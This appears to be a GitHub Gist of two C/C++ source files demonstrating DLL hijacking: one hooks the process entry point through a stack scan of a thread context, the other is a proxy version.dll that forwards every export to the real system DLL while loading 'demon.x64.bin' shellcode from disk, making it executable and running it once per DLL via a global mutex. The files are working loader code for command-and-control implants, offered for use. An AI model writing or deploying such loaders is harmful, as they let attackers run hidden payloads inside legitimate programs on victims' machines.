Last active
July 7, 2024 13:05
-
-
Save mrexodia/6b8a042887c71f007a1c45a06682c2d9 to your computer and use it in GitHub Desktop.
Example code to show how to execute shellcode from DllMain only once per hijacked DLL.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <intrin.h> | |
typedef void (*RtlUserThreadStart_t)(PTHREAD_START_ROUTINE fpTransferAddress, PVOID pContext); | |
static RtlUserThreadStart_t original_RtlUserThreadStart; | |
static void hook_RtlUserThreadStart(PTHREAD_START_ROUTINE fpTransferAddress, PVOID pContext) | |
{ | |
MessageBoxA(0, "!Entry point hijacked", "Success", MB_SYSTEMMODAL | MB_RTLREADING); | |
original_RtlUserThreadStart(fpTransferAddress, pContext); | |
} | |
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) | |
{ | |
if (fdwReason == DLL_PROCESS_ATTACH) | |
{ | |
auto ntdll = GetModuleHandleA("ntdll.dll"); | |
original_RtlUserThreadStart = (RtlUserThreadStart_t)GetProcAddress(ntdll, "RtlUserThreadStart"); | |
auto imageBase = (ULONG_PTR)GetModuleHandleA(NULL); | |
auto pdh = (PIMAGE_DOS_HEADER)imageBase; | |
auto pnth = (PIMAGE_NT_HEADERS)(imageBase + pdh->e_lfanew); | |
auto entryPoint = imageBase + pnth->OptionalHeader.AddressOfEntryPoint; | |
auto stackStart = (unsigned char*)_AddressOfReturnAddress(); | |
for (size_t i = 0; i < 0x1000; i++) | |
{ | |
auto ctx = (CONTEXT*)(stackStart + i); | |
if (ctx->Rip == (ULONG_PTR)original_RtlUserThreadStart && ctx->Rcx == entryPoint) | |
{ | |
ctx->Rip = (ULONG_PTR)hook_RtlUserThreadStart; | |
break; | |
} | |
} | |
} | |
return TRUE; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Generated using https://github.com/mrexodia/perfect-dll-proxy | |
#include <Windows.h> | |
#include <stdio.h> | |
#ifdef _WIN64 | |
#define DLLPATH "\\\\.\\GLOBALROOT\\SystemRoot\\System32\\version.dll" | |
#else | |
#define DLLPATH "\\\\.\\GLOBALROOT\\SystemRoot\\SysWOW64\\version.dll" | |
#endif // _WIN64 | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=" DLLPATH ".GetFileVersionInfoA") | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=" DLLPATH ".GetFileVersionInfoByHandle") | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=" DLLPATH ".GetFileVersionInfoExA") | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=" DLLPATH ".GetFileVersionInfoExW") | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=" DLLPATH ".GetFileVersionInfoSizeA") | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=" DLLPATH ".GetFileVersionInfoSizeExA") | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=" DLLPATH ".GetFileVersionInfoSizeExW") | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=" DLLPATH ".GetFileVersionInfoSizeW") | |
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=" DLLPATH ".GetFileVersionInfoW") | |
#pragma comment(linker, "/EXPORT:VerFindFileA=" DLLPATH ".VerFindFileA") | |
#pragma comment(linker, "/EXPORT:VerFindFileW=" DLLPATH ".VerFindFileW") | |
#pragma comment(linker, "/EXPORT:VerInstallFileA=" DLLPATH ".VerInstallFileA") | |
#pragma comment(linker, "/EXPORT:VerInstallFileW=" DLLPATH ".VerInstallFileW") | |
#pragma comment(linker, "/EXPORT:VerLanguageNameA=" DLLPATH ".VerLanguageNameA") | |
#pragma comment(linker, "/EXPORT:VerLanguageNameW=" DLLPATH ".VerLanguageNameW") | |
#pragma comment(linker, "/EXPORT:VerQueryValueA=" DLLPATH ".VerQueryValueA") | |
#pragma comment(linker, "/EXPORT:VerQueryValueW=" DLLPATH ".VerQueryValueW") | |
static void runShellcode() | |
{ | |
auto fp = fopen("demon.x64.bin", "rb"); | |
if (fp == nullptr) | |
{ | |
MessageBoxA(0, "Failed to open demon.x64.bin", "Error", MB_ICONERROR); | |
return; | |
} | |
fseek(fp, 0, SEEK_END); | |
auto size = ftell(fp); | |
fseek(fp, 0, SEEK_SET); | |
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE); | |
if (exec == nullptr) | |
{ | |
MessageBoxA(0, "Failed to allocate memory", "Error", MB_ICONERROR); | |
return; | |
} | |
fread(exec, 1, size, fp); | |
fclose(fp); | |
DWORD oldProtect = 0; | |
VirtualProtect(exec, size, PAGE_EXECUTE_READ, &oldProtect); | |
HANDLE threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL); | |
if (threadHandle) | |
{ | |
CloseHandle(threadHandle); | |
} | |
} | |
static unsigned int fnv1a_lower(const char* str) | |
{ | |
unsigned int hash = 2166136261; | |
while (*str) | |
{ | |
unsigned char ch = *str++; | |
if (ch >= 'a' && ch <= 'z') { | |
ch -= 32; | |
} | |
hash ^= ch; | |
hash *= 16777619; | |
} | |
return hash; | |
} | |
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) | |
{ | |
if (fdwReason == DLL_PROCESS_ATTACH) | |
{ | |
// Create a global mutex with a name based on the DLL path, to make sure the shellcode is only run once | |
char temp[MAX_PATH] = ""; | |
GetModuleFileNameA(hinstDLL, temp, _countof(temp)); | |
sprintf(temp, "Global\\shellcode-%08x", fnv1a_lower(temp)); | |
if (CreateMutexA(NULL, TRUE, temp) && GetLastError() != ERROR_ALREADY_EXISTS) | |
{ | |
runShellcode(); | |
} | |
} | |
return TRUE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment